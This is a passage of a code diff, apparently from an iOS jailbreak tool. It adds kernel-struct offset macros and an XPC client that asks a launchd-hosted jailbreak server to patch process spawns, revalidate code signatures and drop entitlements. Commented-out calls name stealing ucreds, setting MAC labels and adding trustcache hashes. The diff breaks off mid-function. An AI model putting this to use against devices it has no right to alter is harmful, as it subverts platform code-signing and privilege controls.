+ iterator(ctx, kernelStruct.vm_map_links.next); \
+ iterator(ctx, kernelStruct.vm_map_links.min); \
+ iterator(ctx, kernelStruct.vm_map_links.max); \
+ \
+ iterator(ctx, kernelStruct.pmap.tte); \
+ iterator(ctx, kernelStruct.pmap.ttep); \
+ iterator(ctx, kernelStruct.pmap.pmap_cs_main); \
+ iterator(ctx, kernelStruct.pmap.sw_asid); \
+ iterator(ctx, kernelStruct.pmap.wx_allowed); \
+ iterator(ctx, kernelStruct.pmap.type); \
+ \
+ iterator(ctx, kernelStruct.pmap_cs_region.pmap_cs_region_next); \
+ iterator(ctx, kernelStruct.pmap_cs_region.cd_entry); \
+ \
+ iterator(ctx, kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next); \
+ iterator(ctx, kernelStruct.pmap_cs_code_directory.main_binary); \
+ iterator(ctx, kernelStruct.pmap_cs_code_directory.trust); \
+ \
+ iterator(ctx, kernelStruct.pt_desc.pmap); \
+ iterator(ctx, kernelStruct.pt_desc.va); \
+ iterator(ctx, kernelStruct.pt_desc.ptd_info); \
+ \
+ iterator(ctx, kernelStruct.trustcache.nextptr); \
+ iterator(ctx, kernelStruct.trustcache.prevptr); \
+ iterator(ctx, kernelStruct.trustcache.size); \
+ iterator(ctx, kernelStruct.trustcache.fileptr); \
+ iterator(ctx, kernelStruct.trustcache.struct_size);
+
+#define SYSTEM_INFO_ITERATE(ctx, iterator) \
+ KERNEL_CONSTANTS_ITERATE(ctx, iterator); \
+ JAILBREAK_INFO_ITERATE(ctx, iterator); \
+ JAILBREAK_SETTINGS_ITERATE(ctx, iterator); \
+ KERNEL_SYMBOLS_ITERATE(ctx, iterator); \
+ KERNEL_GADGETS_ITERATE(ctx, iterator); \
+ KERNEL_STRUCTS_ITERATE(ctx, iterator);
+
+__attribute__((__unused__)) static void _safe_xpc_dictionary_get_string(xpc_object_t xdict, const char *name, char **out)
+{
+ const char *str = xpc_dictionary_get_string(xdict, name);
+ if (str) {
+ if (*out) free(*out);
+ *out = strdup(str);
+ }
+}
+
+__attribute__((__unused__)) static void _safe_xpc_dictionary_set_string(xpc_object_t xdict, const char *name, const char *string)
+{
+ if (string) {
+ xpc_dictionary_set_string(xdict, name, string);
+ }
+}
+
+#define XPC_SET_GENERIC(xdict, name, value) _Generic((value), \
+ const char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \
+ char *: _safe_xpc_dictionary_set_string(xdict, name, (const char*)(uint64_t)value), \
+ uint64_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \
+ uint32_t: xpc_dictionary_set_uint64(xdict, name, (uint64_t)value), \
+ bool: xpc_dictionary_set_bool(xdict, name, (bool)value) \
+)
+
+#define XPC_GET_GENERIC(xdict, name, target) _Generic((target), \
+ const char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \
+ char *: _safe_xpc_dictionary_get_string(xdict, name, (char **)&target), \
+ uint64_t: *((uint64_t *)&target) = xpc_dictionary_get_uint64(xdict, name), \
+ uint32_t: *((uint32_t *)&target) = (uint32_t)xpc_dictionary_get_uint64(xdict, name), \
+ bool: *((bool *)&target) = xpc_dictionary_get_bool(xdict, name) \
+)
+
+#define SYSTEM_INFO_SERIALIZE_COMPONENT(xdict, name) XPC_SET_GENERIC(xdict, #name, gSystemInfo.name)
+#define SYSTEM_INFO_SERIALIZE(xdict) SYSTEM_INFO_ITERATE(xdict, SYSTEM_INFO_SERIALIZE_COMPONENT)
+
+#define SYSTEM_INFO_DESERIALIZE_COMPONENT(xdict, name) XPC_GET_GENERIC(xdict, #name, gSystemInfo.name)
+#define SYSTEM_INFO_DESERIALIZE(xdict) SYSTEM_INFO_ITERATE(xdict, SYSTEM_INFO_DESERIALIZE_COMPONENT)
+
+#define kconstant(name) (gSystemInfo.kernelConstant.name)
+#define jbinfo(name) (gSystemInfo.jailbreakInfo.name)
+#define jbsetting(name) (gSystemInfo.jailbreakSettings.name)
+#define ksymbol(name) (gSystemInfo.kernelSymbol.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelSymbol.name) : 0)
+#define kgadget(name) (gSystemInfo.kernelGadget.name ? (gSystemInfo.kernelConstant.slide + gSystemInfo.kernelGadget.name) : 0)
+#define koffsetof(structname, member) (gSystemInfo.kernelStruct.structname.member)
+#define ksizeof(structname) (gSystemInfo.kernelStruct.structname.struct_size)
+
+void jbinfo_initialize_dynamic_offsets(xpc_object_t xoffsetDict);
+void jbinfo_initialize_hardcoded_offsets(void);
+void jbinfo_initialize_boot_constants(void);
+xpc_object_t jbinfo_get_serialized(void);
+
+uint64_t get_vm_real_kernel_page_size(void);
+#define vm_real_kernel_page_size get_vm_real_kernel_page_size()
+#define vm_real_kernel_page_mask (vm_real_kernel_page_size - 1)
+
+uint64_t get_vm_real_kernel_page_shift(void);
+#define vm_real_kernel_page_shift get_vm_real_kernel_page_shift()
+
+uint64_t get_l1_block_size(void);
+uint64_t get_l1_block_mask(void);
+uint64_t get_l1_block_count(void);
+uint64_t get_l2_block_size(void);
+uint64_t get_l2_block_mask(void);
+uint64_t get_l2_block_count(void);
+
+#define L1_BLOCK_SIZE get_l1_block_size()
+#define L1_BLOCK_MASK get_l1_block_mask()
+#define L1_BLOCK_COUNT get_l1_block_count()
+#define L2_BLOCK_SIZE get_l2_block_size()
+#define L2_BLOCK_MASK get_l2_block_mask()
+#define L2_BLOCK_COUNT get_l2_block_count()
+
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c
new file mode 100644
index 00000000..19556f61
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c
@@ -0,0 +1,585 @@
+#include "jbclient_xpc.h"
+#include "jbserver.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define OS_ALLOC_ONCE_KEY_MAX 100
+
+struct _os_alloc_once_s {
+ long once;
+ void *ptr;
+};
+
+struct xpc_global_data {
+ uint64_t a;
+ uint64_t xpc_flags;
+ mach_port_t task_bootstrap_port; /* 0x10 */
+#ifndef _64
+ uint32_t padding;
+#endif
+ xpc_object_t xpc_bootstrap_pipe; /* 0x18 */
+};
+
+extern struct _os_alloc_once_s _os_alloc_once_table[];
+extern void* _os_alloc_once(struct _os_alloc_once_s *slot, size_t sz, os_function_t init);
+
+mach_port_t gJBServerCustomPort = MACH_PORT_NULL;
+
+void jbclient_xpc_set_custom_port(mach_port_t serverPort)
+{
+ if (gJBServerCustomPort != MACH_PORT_NULL) {
+ mach_port_deallocate(mach_task_self(), gJBServerCustomPort);
+ }
+ gJBServerCustomPort = serverPort;
+}
+
+xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict)
+{
+ xpc_object_t xreply = NULL;
+
+ xpc_object_t xpipe = NULL;
+ if (gJBServerCustomPort != MACH_PORT_NULL) {
+ // Communicate with custom port if set
+ xpipe = xpc_pipe_create_from_port(gJBServerCustomPort, 0);
+ }
+ else {
+ // Else, communicate with launchd
+ struct xpc_global_data* globalData = NULL;
+ if (_os_alloc_once_table[1].once == -1) {
+ globalData = _os_alloc_once_table[1].ptr;
+ }
+ else {
+ globalData = _os_alloc_once(&_os_alloc_once_table[1], 472, NULL);
+ if (!globalData) _os_alloc_once_table[1].once = -1;
+ }
+ if (!globalData) return NULL;
+ if (!globalData->xpc_bootstrap_pipe) {
+ mach_port_t *initPorts;
+ mach_msg_type_number_t initPortsCount = 0;
+ if (mach_ports_lookup(mach_task_self(), &initPorts, &initPortsCount) == 0) {
+ globalData->task_bootstrap_port = initPorts[0];
+ globalData->xpc_bootstrap_pipe = xpc_pipe_create_from_port(globalData->task_bootstrap_port, 0);
+ }
+ }
+ if (!globalData->xpc_bootstrap_pipe) return NULL;
+ xpipe = xpc_retain(globalData->xpc_bootstrap_pipe);
+ }
+
+ if (!xpipe) return NULL;
+ int err = xpc_pipe_routine_with_flags(xpipe, xdict, &xreply, 0);
+ xpc_release(xpipe);
+ if (err != 0) {
+ return NULL;
+ }
+ return xreply;
+}
+
+xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xargs)
+{
+ bool ownsXargs = false;
+ if (!xargs) {
+ xargs = xpc_dictionary_create_empty();
+ ownsXargs = true;
+ }
+
+ xpc_dictionary_set_uint64(xargs, "jb-domain", domain);
+ xpc_dictionary_set_uint64(xargs, "action", action);
+
+ xpc_object_t xreply = jbserver_xpc_send_dict(xargs);
+ if (ownsXargs) {
+ xpc_release(xargs);
+ }
+
+ return xreply;
+}
+
+char *jbclient_get_jbroot(void)
+{
+ static char rootPath[PATH_MAX] = { 0 };
+ static dispatch_once_t dot;
+
+ dispatch_once(&dot, ^{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_JBROOT, NULL);
+ if (xreply) {
+ const char *replyRootPath = xpc_dictionary_get_string(xreply, "root-path");
+ if (replyRootPath) {
+ strlcpy(&rootPath[0], replyRootPath, sizeof(rootPath));
+ }
+ xpc_release(xreply);
+ }
+ });
+
+ if (rootPath[0] == '\0') return NULL;
+ return (char *)&rootPath[0];
+}
+
+char *jbclient_get_boot_uuid(void)
+{
+ static char bootUUID[37] = { 0 };
+ static dispatch_once_t dot;
+
+ dispatch_once(&dot, ^{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_GET_BOOT_UUID, NULL);
+ if (xreply) {
+ const char *replyBootUUID = xpc_dictionary_get_string(xreply, "boot-uuid");
+ if (replyBootUUID) {
+ strlcpy(&bootUUID[0], replyBootUUID, sizeof(bootUUID));
+ }
+ xpc_release(xreply);
+ }
+ });
+
+ if (bootUUID[0] == '\0') return NULL;
+ return (char *)&bootUUID[0];
+}
+
+bool can_skip_trusting_file(const char *filePath, bool isLibrary, bool isClient)
+{
+ if (!filePath) return true;
+
+ // If it's a library that starts with an @, we don't know the actual location so we need to trust it
+ if (isLibrary && filePath[0] == '@') return false;
+
+ // If this file is in shared cache, we can skip trusting it
+ if (_dyld_shared_cache_contains_path(filePath)) return true;
+
+ // If the file doesn't exist, there is nothing to trust :D
+ if (access(filePath, F_OK) != 0) return true;
+
+ if (!isClient) {
+ // If the file is on rootfs mount point, it doesn't need to be trusted as it should be in static trust cache
+ // Same goes for our /usr/lib bind mount (which is guaranteed to be in dynamic trust cache)
+ // We can't do this in the client because of protobox bullshit where calling statfs crashes some processes
+ struct statfs fs;
+ int sfsret = statfs(filePath, &fs);
+ if (sfsret == 0) {
+ if (!strcmp(fs.f_mntonname, "/") || !strcmp(fs.f_mntonname, "/usr/lib")) {
+ return true;
+ }
+ }
+ }
+
+ return false;
+}
+
+char *realafpath(const char *restrict path, char *restrict resolved_path)
+{
+ if (path[0] == '/' || path[0] == '@') {
+ // Running realpath on stuff in /var/jb or on rootfs causes some processes, on some devices, to crash
+ // If it starts with /, it's not a relative path and we can skip calling realpath on it
+ // We only care about resolving relative paths, so we can skip anything that doesn't look like one
+ // Additionally, we also ignore loader relative paths that start with (@rpath/@executable_path/@loader_path)
+ if (!resolved_path) {
+ resolved_path = malloc(PATH_MAX);
+ }
+ strlcpy(resolved_path, path, PATH_MAX);
+ return resolved_path;
+ }
+ else {
+ return realpath(path, resolved_path);
+ }
+}
+
+// int jbclient_trust_binary(const char *binaryPath, xpc_object_t preferredArchsArray)
+// {
+// if (!binaryPath) return -1;
+
+// char absolutePath[PATH_MAX];
+// if (realafpath(binaryPath, absolutePath) == NULL) return -1;
+
+// if (can_skip_trusting_file(absolutePath, false, true)) return -1;
+
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_string(xargs, "binary-path", absolutePath);
+// if (preferredArchsArray) {
+// xpc_dictionary_set_value(xargs, "preferred-archs", preferredArchsArray);
+// }
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_BINARY, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_trust_library(const char *libraryPath, void *addressInCaller)
+// {
+// if (!libraryPath) return -1;
+
+// // If not a dynamic path (@rpath, @executable_path, @loader_path), resolve to absolute path
+// char absoluteLibraryPath[PATH_MAX];
+// if (realafpath(libraryPath, absoluteLibraryPath) == NULL) return -1;
+
+// if (can_skip_trusting_file(absoluteLibraryPath, true, true)) return -1;
+
+// Dl_info callerInfo = { 0 };
+// if (addressInCaller) dladdr(addressInCaller, &callerInfo);
+
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_string(xargs, "library-path", absoluteLibraryPath);
+// if (callerInfo.dli_fname) xpc_dictionary_set_string(xargs, "caller-library-path", callerInfo.dli_fname);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_TRUST_LIBRARY, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut)
+{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PROCESS_CHECKIN, NULL);
+ if (xreply) {
+ int64_t result = xpc_dictionary_get_int64(xreply, "result");
+ const char *rootPath = xpc_dictionary_get_string(xreply, "root-path");
+ const char *bootUUID = xpc_dictionary_get_string(xreply, "boot-uuid");
+ const char *sandboxExtensions = xpc_dictionary_get_string(xreply, "sandbox-extensions");
+ if (rootPathOut) *rootPathOut = rootPath ? strdup(rootPath) : NULL;
+ if (bootUUIDOut) *bootUUIDOut = bootUUID ? strdup(bootUUID) : NULL;
+ if (sandboxExtensionsOut) *sandboxExtensionsOut = sandboxExtensions ? strdup(sandboxExtensions) : NULL;
+ if (fullyDebuggedOut) *fullyDebuggedOut = xpc_dictionary_get_bool(xreply, "fully-debugged");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+// int jbclient_fork_fix(uint64_t childPid)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_uint64(xargs, "child-pid", childPid);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_FORK_FIX, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+int jbclient_cs_revalidate(void)
+{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_CS_REVALIDATE, NULL);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_cs_drop_get_task_allow(void){
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW, NULL);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_patch_spawn(int pid, bool resume){
+ xpc_object_t xargs = xpc_dictionary_create_empty();
+ xpc_dictionary_set_uint64(xargs, "pid", pid);
+ xpc_dictionary_set_bool(xargs, "resume", resume);
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_SPAWN, xargs);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_patch_exec_add(const char* exec_path, bool resume){
+ xpc_object_t xargs = xpc_dictionary_create_empty();
+ xpc_dictionary_set_string(xargs, "exec-path", exec_path);
+ xpc_dictionary_set_bool(xargs, "resume", resume);
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_EXEC_ADD, xargs);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_patch_exec_del(const char* exec_path){
+ xpc_object_t xargs = xpc_dictionary_create_empty();
+ xpc_dictionary_set_string(xargs, "exec-path", exec_path);
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_SYSTEMWIDE, JBS_SYSTEMWIDE_PATCH_EXEC_DEL, xargs);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged)
+{
+ xpc_object_t xargs = xpc_dictionary_create_empty();
+ xpc_dictionary_set_uint64(xargs, "pid", pid);
+ xpc_dictionary_set_bool(xargs, "fully-debugged", fullyDebugged);
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_SET_PROCESS_DEBUGGED, xargs);
+ xpc_release(xargs);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+// int jbclient_platform_stage_jailbreak_update(const char *updateTar)
+// {
+// char realUpdateTarPath[PATH_MAX];
+// if (!realpath(updateTar, realUpdateTarPath)) return -1;
+
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_string(xargs, "update-tar", realUpdateTarPath);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+
+// int jbclient_platform_jbsettings_get(const char *key, xpc_object_t *valueOut)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_string(xargs, "key", key);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_JBSETTINGS_GET, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_object_t value = xpc_dictionary_get_value(xreply, "value");
+// if (value && valueOut) *valueOut = xpc_copy(value);
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// bool jbclient_platform_jbsettings_get_bool(const char *key)
+// {
+// xpc_object_t value;
+// if (jbclient_platform_jbsettings_get(key, &value) == 0) {
+// if (value) {
+// bool valueBool = xpc_bool_get_value(value);
+// xpc_release(value);
+// return valueBool;
+// }
+// }
+// return false;
+// }
+
+// uint64_t jbclient_platform_jbsettings_get_uint64(const char *key)
+// {
+// xpc_object_t value;
+// if (jbclient_platform_jbsettings_get(key, &value) == 0) {
+// if (value) {
+// uint64_t valueU64 = xpc_uint64_get_value(value);
+// xpc_release(value);
+// return valueU64;
+// }
+// }
+// return 0;
+// }
+
+// int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_string(xargs, "key", key);
+// xpc_dictionary_set_value(xargs, "value", value);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_PLATFORM, JBS_PLATFORM_JBSETTINGS_SET, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue)
+// {
+// xpc_object_t value = xpc_bool_create(boolValue);
+// int r = jbclient_platform_jbsettings_set(key, value);
+// xpc_release(value);
+// return r;
+// }
+
+// int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value)
+// {
+// xpc_object_t value = xpc_uint64_create(uint64Value);
+// int r = jbclient_platform_jbsettings_set(key, value);
+// xpc_release(value);
+// return r;
+// }
+
+int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage)
+{
+ xpc_object_t xargs = xpc_dictionary_create_empty();
+ xpc_dictionary_set_string(xargs, "panic-message", panicMessage);
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_WATCHDOG, JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC, xargs);
+ xpc_release(xargs);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+int jbclient_watchdog_get_last_userspace_panic(char **panicMessage)
+{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_WATCHDOG, JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC, NULL);
+ if (xreply) {
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ const char *receivedMessage = xpc_dictionary_get_string(xreply, "panic-message");
+ if (receivedMessage) {
+ *panicMessage = strdup(receivedMessage);
+ }
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+// int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_bool(xargs, "single-pte", singlePTE);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_GET_PHYSRW, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// if (singlePTEAsidPtr) {
+// *singlePTEAsidPtr = xpc_dictionary_get_uint64(xreply, "single-pte-asid-ptr");
+// }
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_root_sign_thread(mach_port_t threadPort)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_uint64(xargs, "thread-port", threadPort);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_SIGN_THREAD, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut)
+{
+ xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_GET_SYSINFO, NULL);
+ if (xreply) {
+ xpc_object_t sysInfo = xpc_dictionary_get_dictionary(xreply, "sysinfo");
+ if (sysInfo && sysInfoOut) *sysInfoOut = xpc_copy(sysInfo);
+ int result = xpc_dictionary_get_int64(xreply, "result");
+ xpc_release(xreply);
+ return result;
+ }
+ return -1;
+}
+
+// int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_uint64(xargs, "ucred", ucredToSteal);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_STEAL_UCRED, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// if (orgUcred) *orgUcred = xpc_dictionary_get_uint64(xreply, "org-ucred");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_uint64(xargs, "slot", slot);
+// xpc_dictionary_set_uint64(xargs, "label", label);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_SET_MAC_LABEL, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// if (orgLabel) *orgLabel = xpc_dictionary_get_uint64(xreply, "org-label");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_root_trustcache_info(xpc_object_t *infoOut)
+// {
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_INFO, NULL);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_object_t info = xpc_dictionary_get_array(xreply, "tc-info");
+// if (infoOut && info) *infoOut = xpc_copy(info);
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen)
+// {
+// xpc_object_t xargs = xpc_dictionary_create_empty();
+// xpc_dictionary_set_data(xargs, "cdhash", cdhashData, cdhashLen);
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_ADD_CDHASH, xargs);
+// xpc_release(xargs);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_root_trustcache_clear(void)
+// {
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_ROOT_TRUSTCACHE_CLEAR, NULL);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
+
+// int jbclient_boomerang_done(void)
+// {
+// xpc_object_t xreply = jbserver_xpc_send(JBS_DOMAIN_ROOT, JBS_BOOMERANG_DONE, NULL);
+// if (xreply) {
+// int64_t result = xpc_dictionary_get_int64(xreply, "result");
+// xpc_release(xreply);
+// return result;
+// }
+// return -1;
+// }
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h
new file mode 100644
index 00000000..12ea1a81
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h
@@ -0,0 +1,44 @@
+#ifndef JBCLIENT_XPC_H
+#define JBCLIENT_XPC_H
+
+#include
+#include "xpc_private.h"
+#include
+
+void jbclient_xpc_set_custom_port(mach_port_t serverPort);
+
+xpc_object_t jbserver_xpc_send_dict(xpc_object_t xdict);
+xpc_object_t jbserver_xpc_send(uint64_t domain, uint64_t action, xpc_object_t xargs);
+
+char *jbclient_get_jbroot(void);
+char *jbclient_get_boot_uuid(void);
+// int jbclient_trust_binary(const char *binaryPath, xpc_object_t preferredArchsArray);
+// int jbclient_trust_library(const char *libraryPath, void *addressInCaller);
+int jbclient_process_checkin(char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut);
+// int jbclient_fork_fix(uint64_t childPid);
+int jbclient_cs_revalidate(void);
+int jbclient_cs_drop_get_task_allow(void);
+int jbclient_patch_spawn(int pid, bool resume);
+int jbclient_patch_exec_add(const char* exec_path, bool resume);
+int jbclient_patch_exec_del(const char* exec_path);
+// int jbclient_platform_set_process_debugged(uint64_t pid, bool fullyDebugged);
+// int jbclient_platform_stage_jailbreak_update(const char *updateTar);
+// int jbclient_platform_jbsettings_get(const char *key, xpc_object_t *valueOut);
+// bool jbclient_platform_jbsettings_get_bool(const char *key);
+// uint64_t jbclient_platform_jbsettings_get_uint64(const char *key);
+// int jbclient_platform_jbsettings_set(const char *key, xpc_object_t value);
+// int jbclient_platform_jbsettings_set_bool(const char *key, bool boolValue);
+// int jbclient_platform_jbsettings_set_uint64(const char *key, uint64_t uint64Value);
+// int jbclient_watchdog_intercept_userspace_panic(const char *panicMessage);
+// int jbclient_watchdog_get_last_userspace_panic(char **panicMessage);
+// int jbclient_root_get_physrw(bool singlePTE, uint64_t *singlePTEAsidPtr);
+// int jbclient_root_sign_thread(mach_port_t threadPort);
+// int jbclient_root_get_sysinfo(xpc_object_t *sysInfoOut);
+// int jbclient_root_steal_ucred(uint64_t ucredToSteal, uint64_t *orgUcred);
+// int jbclient_root_set_mac_label(uint64_t slot, uint64_t label, uint64_t *orgLabel);
+// int jbclient_root_trustcache_info(xpc_object_t *infoOut);
+// int jbclient_root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen);
+// int jbclient_root_trustcache_clear(void);
+// int jbclient_boomerang_done(void);
+
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c
new file mode 100644
index 00000000..2c8aad2a
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c
@@ -0,0 +1,356 @@
+#include "jbserver.h"
+// #include "info.h"
+#include "sandbox.h"
+#include "libproc.h"
+#include "libproc_private.h"
+
+// #include
+// #include
+#include "kernel.h"
+#include "util.h"
+// #include "primitives.h"
+#include "codesign.h"
+#include
+#include "bsm/audit.h"
+#include "exec_patch.h"
+#include "log.h"
+#include "../fun/krw.h"
+// extern bool stringStartsWith(const char *str, const char* prefix);
+// extern bool stringEndsWith(const char* str, const char* suffix);
+bool stringStartsWith(const char *str, const char* prefix)
+{
+ if (!str || !prefix) {
+ return false;
+ }
+
+ size_t str_len = strlen(str);
+ size_t prefix_len = strlen(prefix);
+
+ if (str_len < prefix_len) {
+ return false;
+ }
+
